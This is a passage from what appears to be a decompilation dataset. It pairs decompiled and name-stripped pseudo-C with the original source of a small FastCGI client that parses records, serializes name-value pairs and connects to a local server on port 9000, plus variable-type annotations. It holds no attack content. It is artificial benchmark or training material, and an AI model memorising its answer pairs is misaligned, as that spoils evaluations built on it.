return result;
}

canonical_decompiled_code:
__int64 __fastcall func6(char a1, __int64 a2)
{
_BYTE *v2; // rdx
__int64 result; // rax

v2 = *(_BYTE **)a2;
switch ( *(_DWORD *)(a2 + 32) )
{
case 0:
*v2 = a1;
*(_DWORD *)(a2 + 32) = 1;
goto LABEL_5;
case 1:
v2[1] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 2;
break;
case 2:
v2[2] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 3;
break;
case 3:
v2[3] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 4;
break;
case 4:
v2[4] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 5;
break;
case 5:
v2[5] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 6;
break;
case 6:
v2[6] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 7;
break;
case 7:
v2[7] = a1;
result = 1LL;
*(_DWORD *)(a2 + 32) = 8;
break;
case 8:
case 9:
case 0xA:
case 0xB:
result = 2LL;
break;
default:
LABEL_5:
result = 1LL;
break;
}
return result;
}

original_code:
int fcgi_process_header(uchar ch,
        fcgi_record* rec){
    fcgi_header *h;
    fcgi_state *state = &(rec->state);
    h = rec->header;
    switch(*state){
        case fcgi_state_version:
            h->version = ch;
            *state = fcgi_state_type;
            break;
        case fcgi_state_type:
            h->type = ch;
            *state = fcgi_state_request_id_hi;
            break;
        case fcgi_state_request_id_hi:
            h->request_id_hi = ch;
            *state = fcgi_state_request_id_lo;
            break;
        case fcgi_state_request_id_lo:
            h->request_id_lo = ch;
            *state = fcgi_state_content_len_hi;
            break;
        case fcgi_state_content_len_hi:
            h->content_len_hi = ch;
            *state = fcgi_state_content_len_lo;
            break;
        case fcgi_state_content_len_lo:
            h->content_len_lo = ch;
            *state = fcgi_state_padding_len;
            break;
        case fcgi_state_padding_len:
            h->padding_len = ch;
            *state = fcgi_state_reserved;
            break;
        case fcgi_state_reserved:
            h->reserved = ch;
            *state = fcgi_state_content_begin;
            break;
        case fcgi_state_content_begin:
        case fcgi_state_content_proc:
        case fcgi_state_padding:
        case fcgi_state_done:
            return 2;
    }
    return 1;
}

canonical_original_code:
int fcgi_process_header(unsigned char ch, struct fcgi_record_ *rec){
    struct fcgi_header *h;
    enum fcgi_state *state = &(rec->state);
    h = rec->header;
    switch(*state){
        case fcgi_state_version:
            h->version = ch;
            *state = fcgi_state_type;
            break;
        case fcgi_state_type:
            h->type = ch;
            *state = fcgi_state_request_id_hi;
            break;
        case fcgi_state_request_id_hi:
            h->request_id_hi = ch;
            *state = fcgi_state_request_id_lo;
            break;
        case fcgi_state_request_id_lo:
            h->request_id_lo = ch;
            *state = fcgi_state_content_len_hi;
            break;
        case fcgi_state_content_len_hi:
            h->content_len_hi = ch;
            *state = fcgi_state_content_len_lo;
            break;
        case fcgi_state_content_len_lo:
            h->content_len_lo = ch;
            *state = fcgi_state_padding_len;
            break;
        case fcgi_state_padding_len:
            h->padding_len = ch;
            *state = fcgi_state_reserved;
            break;
        case fcgi_state_reserved:
            h->reserved = ch;
            *state = fcgi_state_content_begin;
            break;
        case fcgi_state_content_begin:
        case fcgi_state_content_proc:
        case fcgi_state_padding:
        case fcgi_state_done:
            return 2;
    }
    return 1;
}

variable_types:
ch
unsigned char

variable_types: enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } *


original_code:
int fcgi_process_content(uchar **beg_buf, uchar *end_buf,
       fcgi_record *rec){
    size_t tot_len, con_len, cpy_len, offset, nb = end_buf - *beg_buf;
    fcgi_state *state = &(rec->state);
    fcgi_header *h = rec->header;
    offset = rec->offset;
    if ( *state == fcgi_state_padding ){
        *state = fcgi_state_done;
        *beg_buf += (size_t) ((int)rec->length - (int)offset + (int)h->padding_len);
        return 2;
    }
    con_len = rec->length - offset;
    tot_len = con_len + h->padding_len;
    if(con_len <= nb)
        cpy_len = con_len;
    else
        cpy_len = nb;
    memcpy(rec->content + offset, *beg_buf, cpy_len);
    if(tot_len <= nb)
    {
        rec->offset += tot_len;
        *state = fcgi_state_done;
        *beg_buf += tot_len;
        return 2;
    }
    else if( con_len <= nb )
    {
        *state = fcgi_state_padding;
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    else
    {
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    return 0;
}

canonical_original_code:
int fcgi_process_content(unsigned char **beg_buf, unsigned char *end_buf, struct fcgi_record_ *rec){
    unsigned long tot_len; unsigned long con_len; unsigned long cpy_len; unsigned long offset; unsigned long nb = end_buf - *beg_buf;
    enum fcgi_state *state = &(rec->state);
    struct fcgi_header *h = rec->header;
    offset = rec->offset;
    if ( *state == fcgi_state_padding ){
        *state = fcgi_state_done;
        *beg_buf += (unsigned long) ((int)rec->length - (int)offset + (int)h->padding_len);
        return 2;
    }
    con_len = rec->length - offset;
    tot_len = con_len + h->padding_len;
    if(con_len <= nb)
        cpy_len = con_len;
    else
        cpy_len = nb;
    memcpy(rec->content + offset, *beg_buf, cpy_len);
    if(tot_len <= nb)
    {
        rec->offset += tot_len;
        *state = fcgi_state_done;
        *beg_buf += tot_len;
        return 2;
    }
    else if( con_len <= nb )
    {
        *state = fcgi_state_padding;
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    else
    {
        rec->offset += nb;
        *beg_buf += nb;
        return 1;
    }
    return 0;
}

variable_types:
offset
unsigned long

variable_types:
nb
unsigned long

user_defined_types: enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 }


decompiled_code:
__int64 __fastcall fcgi_process_record(char **a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
__int64 v5; // rax
unsigned int v6; // eax
unsigned int v7; // eax
void *v8; // rax

while ( 1 )
{
v6 = *(_DWORD *)(a3 + 32);
if ( v6 > 7 )
break;
result = fcgi_process_header(**a1, a3);
if ( (_DWORD)result == 3 )
return result;
v5 = (__int64)(*a1 + 1);
*a1 = (char *)v5;
if ( v5 == a2 )
return 1LL;
}
if ( v6 == 8 )
{
v7 = fcgi_header_get_content_len(*(_QWORD *)a3);
*(_QWORD *)(a3 + 24) = v7;
v8 = malloc(v7);
*(_DWORD *)(a3 + 32) = 9;
*(_QWORD *)(a3 + 8) = v8;
}
return fcgi_process_content((const void **)a1, a2, a3);
}

canonical_decompiled_code:
__int64 __fastcall func8(char **a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
__int64 v5; // rax
unsigned int v6; // eax
unsigned int v7; // eax
void *v8; // rax

while ( 1 )
{
v6 = *(_DWORD *)(a3 + 32);
if ( v6 > 7 )
break;
result = func6(**a1, a3);
if ( (_DWORD)result == 3 )
return result;
v5 = (__int64)(*a1 + 1);
*a1 = (char *)v5;
if ( v5 == a2 )
return 1LL;
}
if ( v6 == 8 )
{
v7 = func3(*(_QWORD *)a3);
*(_QWORD *)(a3 + 24) = v7;
v8 = malloc(v7);
*(_DWORD *)(a3 + 32) = 9;
*(_QWORD *)(a3 + 8) = v8;
}
return func7((const void **)a1, a2, a3);
}

original_code:
int fcgi_process_record(uchar **beg_buf, uchar *end_buf, fcgi_record *rec){
        int rv;
        while(rec->state < fcgi_state_content_begin)
        {
            if((rv = fcgi_process_header(**beg_buf, rec)) == 3)
                    return 3;
            (*beg_buf)++;
            if( *beg_buf == end_buf )
                return 1;
        }
        if(rec->state == fcgi_state_content_begin)
        {
           rec->length = fcgi_header_get_content_len(rec->header);
           rec->content = malloc(rec->length);
           rec->state++;
        }
        return fcgi_process_content(beg_buf, end_buf, rec);
}

canonical_original_code:
int fcgi_process_record(unsigned char **beg_buf, unsigned char *end_buf, struct fcgi_record_ *rec){
        int rv;
        while(rec->state < fcgi_state_content_begin)
        {
            if((rv = fcgi_process_header(**beg_buf, rec)) == 3)
                    return 3;
            (*beg_buf)++;
            if( *beg_buf == end_buf )
                return 1;
        }
        if(rec->state == fcgi_state_content_begin)
        {
           rec->length = fcgi_header_get_content_len(rec->header);
           rec->content = malloc(rec->length);
           rec->state++;
        }
        return fcgi_process_content(beg_buf, end_buf, rec);
}

variable_types: rv int


decompiled_code:
int __fastcall fcgi_process_buffer(char *a1, char *a2, __int64 *a3)
{
__int64 v4; // rbx
__int64 v5; // rax
unsigned __int64 v6; // r12
int v7; // edi
_QWORD *v8; // rax
_QWORD *v9; // rax
char *v11; // [rsp+8h] [rbp-30h] BYREF

v4 = *a3;
v11 = a1;
if ( !v4 )
{
v9 = fcgi_record_create();
*a3 = (__int64)v9;
v4 = (__int64)v9;
}
do
{
while ( 1 )
{
if ( *(_DWORD *)(v4 + 32) == 11 )
{
v8 = fcgi_record_create();
*a3 = (__int64)v8;
v8[5] = v4;
v4 = (__int64)v8;
}
LODWORD(v5) = fcgi_process_record(&v11, (__int64)a2, v4);
if ( (_DWORD)v5 == 2 )
{
v5 = *(_QWORD *)v4;
if ( *(_BYTE *)(*(_QWORD *)v4 + 1LL) == 6 )
{
if ( *(_QWORD *)(v4 + 24) )
break;
}
}
if ( v11 == a2 )
return v5;
}
v6 = 0LL;
do
{
v7 = *(unsigned __int8 *)(*(_QWORD *)(v4 + 8) + v6++);
LODWORD(v5) = fputc(v7, stdout);
}
while ( *(_QWORD *)(v4 + 24) > v6 );
}
while ( v11 != a2 );
return v5;
}

original_code:
void fcgi_process_buffer(uchar *beg_buf, uchar *end_buf,
       fcgi_record_list** head){
    fcgi_record* tmp, *h;
    size_t i;
    if(*head == ((void *)0))
        *head = fcgi_record_create();
    h = *head;
    while(1)
    {
        if( h->state == fcgi_state_done )
        {
            tmp = h;
            *head = fcgi_record_create();
            h = *head;
            h->next = tmp;
        }
       if( fcgi_process_record(&beg_buf, end_buf, h) == 2 ){
           if(h->header->type == 6)
                for(i=0;i < h->length; i++)
                    fprintf(stdout, "%c", ((uchar *)h->content)[i]);
       }
        if ( beg_buf == end_buf )
            return;
    }
}

canonical_original_code:
void fcgi_process_buffer(unsigned char *beg_buf, unsigned char *end_buf, struct fcgi_record_ **head){
    struct fcgi_record_ *tmp; struct fcgi_record_ *h;
    unsigned long i;
    if(*head == ((void *)0))
        *head = fcgi_record_create();
    h = *head;
    while(1)
    {
        if( h->state == fcgi_state_done )
        {
            tmp = h;
            *head = fcgi_record_create();
            h = *head;
            h->next = tmp;
        }
       if( fcgi_process_record(&beg_buf, end_buf, h) == 2 ){
           if(h->header->type == 6)
                for(i=0;i < h->length; i++)
                    fprintf(stdout, "%c", ((unsigned char *)h->content)[i]);
       }
        if ( beg_buf == end_buf )
            return;
    }
}

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } **


serialize

decompiled_code:
// attributes: thunk
void *serialize(void *dest, const void *src, size_t n)
{
return memcpy(dest, src, n);
}

canonical_decompiled_code:
void *func10(void *dest, const void *src, size_t n)
{
return memcpy(dest, src, n);
}

original_code:
void serialize(uchar* buffer, void *st, size_t size){
   memcpy(buffer, st, size);
}

canonical_original_code:
void serialize(unsigned char *buffer, void *st, unsigned long size){
   memcpy(buffer, st, size);
}

variable_types:
buffer
unsigned char *

variable_types:
st
void *

variable_types:
size
unsigned long


decompiled_code:
char *__fastcall serialize_name_value(unsigned int *a1, const char **a2)
{
unsigned int v2; // ebp
unsigned int v3; // ebx
unsigned int *v4; // rax
void *v5; // rcx
char *v6; // rax

v2 = strlen(*a2);
v3 = strlen(a2[1]);
if ( v2 > 0x7F )
{
*a1 = v2;
v4 = a1 + 1;
if ( v3 <= 0x7F )
goto LABEL_3;
LABEL_6:
*v4 = v3;
v5 = v4 + 1;
goto LABEL_4;
}
*(_BYTE *)a1 = v2;
v4 = (unsigned int *)((char *)a1 + 1);
if ( v3 > 0x7F )
goto LABEL_6;
LABEL_3:
*(_BYTE *)v4 = v3;
v5 = (char *)v4 + 1;
LABEL_4:
v6 = (char *)memcpy(v5, *a2, v2);
return (char *)((_BYTE *)memcpy(&v6[v2], a2[1], v3) + v3 - (_BYTE *)a1);
}

canonical_decompiled_code:
char *__fastcall func11(unsigned int *a1, const char **a2)
{
unsigned int v2; // ebp
unsigned int v3; // ebx
unsigned int *v4; // rax
void *v5; // rcx
char *v6; // rax

v2 = strlen(*a2);
v3 = strlen(a2[1]);
if ( v2 > 0x7F )
{
*a1 = v2;
v4 = a1 + 1;
if ( v3 <= 0x7F )
goto LABEL_3;
LABEL_6:
*v4 = v3;
v5 = v4 + 1;
goto LABEL_4;
}
*(_BYTE *)a1 = v2;
v4 = (unsigned int *)((char *)a1 + 1);
if ( v3 > 0x7F )
goto LABEL_6;
LABEL_3:
*(_BYTE *)v4 = v3;
v5 = (char *)v4 + 1;
LABEL_4:
v6 = (char *)memcpy(v5, *a2, v2);
return (char *)((_BYTE *)memcpy(&v6[v2], a2[1], v3) + v3 - (_BYTE *)a1);
}

original_code:
uint32_t serialize_name_value(uchar* buffer, fcgi_name_value* nv){
    uchar *p = buffer;
    uint32_t nl, vl;
    nl = strlen(nv->name);
    vl = strlen(nv->value);
    if( nl < 128 )
        *p++ = ((nl) & 0xff);
    else
    {
        *p++ = ((nl) & 0xff);
        *p++ = ((nl)>>8 & 0xff);
        *p++ = ((nl)>>16 & 0xff);
        *p++ = ((nl)>>24 & 0xff);
    }
    if ( vl < 128 )
        *p++ = ((vl) & 0xff);
    else
    {
        *p++ = ((vl) & 0xff);
        *p++ = ((vl)>>8 & 0xff);
        *p++ = ((vl)>>16 & 0xff);
        *p++ = ((vl)>>24 & 0xff);
    }
    memcpy(p, nv->name, nl);
    p+=nl;
    memcpy(p, nv->value, vl);
    p+= vl;
    return p - buffer;
}

canonical_original_code:
unsigned int serialize_name_value(unsigned char *buffer, struct fcgi_name_value *nv){
    unsigned char *p = buffer;
    unsigned int nl; unsigned int vl;
    nl = strlen(nv->name);
    vl = strlen(nv->value);
    if( nl < 128 )
        *p++ = ((nl) & 0xff);
    else
    {
        *p++ = ((nl) & 0xff);
        *p++ = ((nl)>>8 & 0xff);
        *p++ = ((nl)>>16 & 0xff);
        *p++ = ((nl)>>24 & 0xff);
    }
    if ( vl < 128 )
        *p++ = ((vl) & 0xff);
    else
    {
        *p++ = ((vl) & 0xff);
        *p++ = ((vl)>>8 & 0xff);
        *p++ = ((vl)>>16 & 0xff);
        *p++ = ((vl)>>24 & 0xff);
    }
    memcpy(p, nv->name, nl);
    p+=nl;
    memcpy(p, nv->value, vl);
    p+= vl;
    return p - buffer;
}

variable_types: struct fcgi_name_value { char *name; } *

variable_types:
nl
unsigned int

variable_types:
vl
unsigned int


decompiled_code:
int __fastcall print_bytes(unsigned __int8 *a1, int a2)
{
unsigned __int8 *v2; // rbx
__int64 v3; // rbp
__int64 v4; // rsi

v2 = a1;
putchar(123);
if ( a2 > 0 )
{
v3 = (__int64)&a1[a2 - 1 + 1];
do
{
v4 = *v2++;
printf("%02X.", v4);
}
while ( v2 != (unsigned __int8 *)v3 );
}
return puts("}");
}

canonical_decompiled_code:
int __fastcall func12(unsigned __int8 *a1, int a2)
{
unsigned __int8 *v2; // rbx
__int64 v3; // rbp
__int64 v4; // rsi

v2 = a1;
putchar(123);
if ( a2 > 0 )
{
v3 = (__int64)&a1[a2 - 1 + 1];
do
{
v4 = *v2++;
printf("%02X.", v4);
}
while ( v2 != (unsigned __int8 *)v3 );
}
return puts("}");
}

original_code:
void print_bytes(uchar *buf, int n){
    int i;
    printf("{");
    for(i=0;i<n;i++)
        printf("%02X.", buf[i]);
    printf("}\n");
}

canonical_original_code:
void print_bytes(unsigned char *buf, int n){
    int i;
    printf("{");
    for(i=0;i<n;i++)
        printf("%02X.", buf[i]);
    printf("}\n");
}

variable_types:
buf
unsigned char *

variable_types: n int

variable_types: i int


decompiled_code:
__int64 __fastcall fcgi_connect(int *a1)
{
int v1; // eax
unsigned int v2; // er12
struct addrinfo *i; // rbx
int v4; // eax
int v5; // ebp
__int64 result; // rax
const char *v7; // rax
struct addrinfo *pai; // [rsp+0h] [rbp-60h] BYREF
struct addrinfo req; // [rsp+8h] [rbp-58h] BYREF

*(_OWORD *)&req.ai_flags = 0LL;
*(_OWORD *)&req.ai_addrlen = 0LL;
req.ai_socktype = 1;
*(_OWORD *)&req.ai_canonname = 0LL;
v1 = getaddrinfo("127.0.0.1", "9000", &req, &pai);
v2 = v1;
if ( v1 )
{
v7 = gai_strerror(v1);
fprintf(stderr, "getaddrinfo: %s\n", v7);
result = 1LL;
}
else
{
for ( i = pai; i; i = i->ai_next )
{
v4 = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
v5 = v4;
if ( v4 == -1 )
{
perror("client: socket");
}
else
{
if ( connect(v4, i->ai_addr, i->ai_addrlen) != -1 )
{
freeaddrinfo(pai);
*a1 = v5;
goto LABEL_6;
}
close(v5);
perror("client: connect");
}
}
v2 = 2;
fwrite("client: failed to connect\n", 1uLL, 0x1AuLL, stderr);
LABEL_6:
result = v2;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(int *a1)
{
int v1; // eax
unsigned int v2; // er12
struct addrinfo *i; // rbx
int v4; // eax
int v5; // ebp
__int64 result; // rax
const char *v7; // rax
struct addrinfo *pai; // [rsp+0h] [rbp-60h] BYREF
struct addrinfo req; // [rsp+8h] [rbp-58h] BYREF

*(_OWORD *)&req.ai_flags = 0LL;
*(_OWORD *)&req.ai_addrlen = 0LL;
req.ai_socktype = 1;
*(_OWORD *)&req.ai_canonname = 0LL;
v1 = getaddrinfo("127.0.0.1", "9000", &req, &pai);
v2 = v1;
if ( v1 )
{
v7 = gai_strerror(v1);
fprintf(stderr, "getaddrinfo: %s\n", v7);
result = 1LL;
}
else
{
for ( i = pai; i; i = i->ai_next )
{
v4 = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
v5 = v4;
if ( v4 == -1 )
{
perror("client: socket");
}
else
{
if ( connect(v4, i->ai_addr, i->ai_addrlen) != -1 )
{
freeaddrinfo(pai);
*a1 = v5;
goto LABEL_6;
}
close(v5);
perror("client: connect");
}
}
v2 = 2;
fwrite("client: failed to connect\n", 1uLL, 0x1AuLL, stderr);
LABEL_6:
result = v2;
}
return result;
}

original_code:
int fcgi_connect(int *sock){
    int sockfd;
    struct addrinfo hints, *servinfo, *p;
    int rv;
    memset(&hints, 0, sizeof hints);
    hints.ai_family = 0;
    hints.ai_socktype = SOCK_STREAM;
    if ((rv = getaddrinfo("127.0.0.1", "9000", &hints, &servinfo)) != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
        return 1;
    }
    for(p = servinfo; p != ((void *)0); p = p->ai_next) {
        if ((sockfd = socket(p->ai_family, p->ai_socktype,
                p->ai_protocol)) == -1) {
            perror("client: socket");
            continue;
        }
        if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
            close(sockfd);
            perror("client: connect");
            continue;
        }
        break;
    }
    if (p == ((void *)0)) {
        fprintf(stderr, "client: failed to connect\n");
        return 2;
    }
    freeaddrinfo(servinfo);
    *sock = sockfd;
    return 0;
}

canonical_original_code:
int fcgi_connect(int *sock){
    int sockfd;
    struct addrinfo hints; struct addrinfo *servinfo; struct addrinfo *p;
    int rv;
    memset(&hints, 0, sizeof hints);
    hints.ai_family = 0;
    hints.ai_socktype = SOCK_STREAM;
    if ((rv = getaddrinfo("127.0.0.1", "9000", &hints, &servinfo)) != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
        return 1;
    }
    for(p = servinfo; p != ((void *)0); p = p->ai_next) {
        if ((sockfd = socket(p->ai_family, p->ai_socktype,
                p->ai_protocol)) == -1) {
            perror("client: socket");
            continue;
        }
        if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
            close(sockfd);
            perror("client: connect");
            continue;
        }
        break;
    }
    if (p == ((void *)0)) {
        fprintf(stderr, "client: failed to connect\n");
        return 2;
    }
    freeaddrinfo(servinfo);
    *sock = sockfd;
    return 0;
}

variable_types:
sock
int *

variable_types: sockfd int

variable_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *

user_defined_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }


decompiled_code:
int __fastcall simple_session_1(int a1)
{
char **v1; // r14
char **v2; // r13
char **v3; // rbp
_QWORD *v4; // r12
char *v5; // rbx
__int64 v6; // rsi
int v7; // er12
char *v8; // r15
char **v9; // rsi
char *v10; // r12
char **v11; // rsi
int v12; // eax
__int64 i; // rax
char *buf; // [rsp+10h] [rbp-58h]
__int64 v16; // [rsp+18h] [rbp-50h]
__int64 v17[8]; // [rsp+28h] [rbp-40h] BYREF

v1 = nvs;
v2 = (char **)(unsigned int)((_DWORD)nvs + 432);
v3 = nvs;
v4 = (_QWORD *)create_begin_request(1LL);
v5 = (char *)malloc(0x1388uLL);
buf = (char *)malloc(0x1388uLL);
serialize(buf, *v4, 8LL);
v6 = v4[1];
v7 = 0;
v8 = buf + 16;
serialize(buf + 8, v6, 8LL);
v16 = create_header(4LL, 1LL);
do
{
v9 = v3;
v3 += 2;
v7 += serialize_name_value(v8, v9);
}
while ( v2 != v3 );
*(_WORD *)(v16 + 4) = __ROL2__(v7, 8);
serialize(v8, v16, 8LL);
v10 = buf + 24;
do
{
v11 = v1;
v1 += 2;
v10 += (int)serialize_name_value(v10, v11);
}
while ( v2 != v1 );
*(_WORD *)(v16 + 4) = 0;
serialize(v10, v16, 8LL);
if ( send(a1, buf, v10 + 8 - buf, 0) == -1 )
{
perror("send");
LODWORD(i) = close(a1);
}
else
{
v17[0] = 0LL;
while ( 1 )
{
v12 = recv(a1, v5, 0x1387uLL, 0);
if ( v12 == -1 )
{
perror("recv");
exit(1);
}
if ( !v12 )
break;
fcgi_process_buffer(v5, &v5[v12], v17);
}
for ( i = v17[0]; i; i = *(_QWORD *)(i + 40) )
;
}
return i;
}

canonical_decompiled_code:
int __fastcall func1(int a1)
{
char **v1; // r14
char **v2; // r13
char **v3; // rbp
_QWORD *v4; // r12
char *v5; // rbx
__int64 v6; // rsi
int v7; // er12
char *v8; // r15
char **v9; // rsi
char *v10; // r12
char **v11; // rsi
int v12; // eax
__int64 i; // rax
char *buf; // [rsp+10h] [rbp-58h]
__int64 v16; // [rsp+18h] [rbp-50h]
__int64 v17[8]; // [rsp+28h] [rbp-40h] BYREF

v1 = nvs;
v2 = (char **)(unsigned int)((_DWORD)nvs + 432);
v3 = nvs;
v4 = (_QWORD *)create_begin_request(1LL);
v5 = (char *)malloc(0x1388uLL);
buf = (char *)malloc(0x1388uLL);
serialize(buf, *v4, 8LL);
v6 = v4[1];
v7 = 0;
v8 = buf + 16;
serialize(buf + 8, v6, 8LL);
v16 = create_header(4LL, 1LL);
do
{
v9 = v3;
v3 += 2;
v7 += serialize_name_value(v8, v9);
}
while ( v2 != v3 );
*(_WORD *)(v16 + 4) = __ROL2__(v7, 8);
serialize(v8, v16, 8LL);
v10 = buf + 24;
do
{
v11 = v1;
v1 += 2;
v10 += (int)serialize_name_value(v10, v11);
}
while ( v2 != v1 );
*(_WORD *)(v16 + 4) = 0;
serialize(v10, v16, 8LL);
if ( send(a1, buf, v10 + 8 - buf, 0) == -1 )
{
perror("send");
LODWORD(i) = close(a1);
}
else
{
v17[0] = 0LL;
while ( 1 )
{
v12 = recv(a1, v5, 0x1387uLL, 0);
if ( v12 == -1 )
{
perror("recv");
exit(1);
}
if ( !v12 )
break;
fcgi_process_buffer(v5, &v5[v12], v17);
}
for ( i = v17[0]; i; i = *(_QWORD *)(i + 40) )
;
}
return i;
}

original_code:
void simple_session_1(int sockfd){
    uint16_t req_id = 1;
    uint16_t len=0;
    int nb, i;
    unsigned char *p, *buf, *rbuf;
    fcgi_header* head;
    fcgi_begin_request* begin_req = create_begin_request(req_id);
    rbuf = malloc(5000);
    buf = malloc(5000);
    p = buf;
    serialize(p, begin_req->header, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    serialize(p, begin_req->body, sizeof(fcgi_begin_request_body));
    p += sizeof(fcgi_begin_request_body);
    head = create_header(4, req_id);
    len = 0;
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        len += nb;
    }
    head->content_len_lo = ((len) & 0xff);
    head->content_len_hi = ((len)>>8 & 0xff);
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        p += nb;
    }
    head->content_len_lo = 0;
    head->content_len_hi = 0;
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    if (send(sockfd, buf, p-buf, 0) == -1){
            perror("send");
            close(sockfd);
            return;
    }
    fcgi_record_list *rlst = ((void *)0), *rec;
    while(1){
        if ((nb = recv(sockfd, rbuf, 5000 -1, 0)) == -1) {
            perror("recv");
            exit(1);
        }
        if(nb == 0)
            break;
        fcgi_process_buffer(rbuf, rbuf+(size_t)nb, &rlst);
    }
    for(rec=rlst; rec!=((void *)0); rec=rec->next)
    {
    }
}

canonical_original_code:
void simple_session_1(int sockfd){
    unsigned short req_id = 1;
    unsigned short len = 0;
    int nb; int i;
    unsigned char *p; unsigned char *buf; unsigned char *rbuf;
    struct fcgi_header *head;
    struct fcgi_begin_request *begin_req = create_begin_request(req_id);
    rbuf = malloc(5000);
    buf = malloc(5000);
    p = buf;
    serialize(p, begin_req->header, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    serialize(p, begin_req->body, sizeof(fcgi_begin_request_body));
    p += sizeof(fcgi_begin_request_body);
    head = create_header(4, req_id);
    len = 0;
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        len += nb;
    }
    head->content_len_lo = ((len) & 0xff);
    head->content_len_hi = ((len)>>8 & 0xff);
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    for(i = 0; i< 27; i++) {
        nb = serialize_name_value(p, &nvs[i]);
        p += nb;
    }
    head->content_len_lo = 0;
    head->content_len_hi = 0;
    serialize(p, head, sizeof(fcgi_header));
    p += sizeof(fcgi_header);
    if (send(sockfd, buf, p-buf, 0) == -1){
            perror("send");
            close(sockfd);
            return;
    }
    struct fcgi_record_ *rlst = ((void *)0); struct fcgi_record_ *rec;
    while(1){
        if ((nb = recv(sockfd, rbuf, 5000 -1, 0)) == -1) {
            perror("recv");
            exit(1);
        }
        if(nb == 0)
            break;
        fcgi_process_buffer(rbuf, rbuf+(unsigned long)nb, &rlst);
    }
    for(rec=rlst; rec!=((void *)0); rec=rec->next)
    {
    }
}

variable_types:
len
unsigned short

variable_types: nb int

variable_types:
p
unsigned char *

variable_types:
rbuf
unsigned char *

variable_types: struct fcgi_begin_request { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; struct fcgi_begin_request_body { unsigned char role_hi; unsigned char role_lo; unsigned char flags; unsigned char reserved[5]; } *body; } *

variable_types: struct fcgi_record_ { struct fcgi_header { unsigned char version; unsigned char type; unsigned char request_id_hi; unsigned char request_id_lo; unsigned char content_len_hi; unsigned char content_len_lo; unsigned char padding_len; unsigned char reserved; } *header; void *content; unsigned long offset; enum fcgi_state { fcgi_state_version=0, fcgi_state_type=1, fcgi_state_request_id_hi=2, fcgi_state_request_id_lo=3, fcgi_state_content_len_hi=4, fcgi_state_content_len_lo=5, fcgi_state_padding_len=6, fcgi_state_reserved=7, fcgi_state_content_begin=8, fcgi_state_content_proc=9, fcgi_state_padding=10, fcgi_state_done=11 } state; struct fcgi_record_ *next; } *

user_defined_types: struct fcgi_begin_request { struct fcgi_header *header; struct fcgi_begin_request_body *body; }


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd[3]; // [rsp+Ch] [rbp-Ch] BYREF

if ( argc == 2 )
{
nvs[1] = (char *)argv[1];
fcgi_connect(fd);
simple_session_1(fd[0]);
close(fd[0]);
}
else
{
printf("Usage: %s <Absolute path of file>\n", *argv);
}
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd[3]; // [rsp+Ch] [rbp-Ch] BYREF

if ( argc == 2 )
{
nvs[1] = (char *)argv[1];
func0(fd);
func1(fd[0]);
close(fd[0]);
}
else
{
printf("Usage: %s <Absolute path of file>\n", *argv);
}
return 0;
}

original_code:
int main(int argc, char **argv){
    int sockfd;
    if( argc != 2){
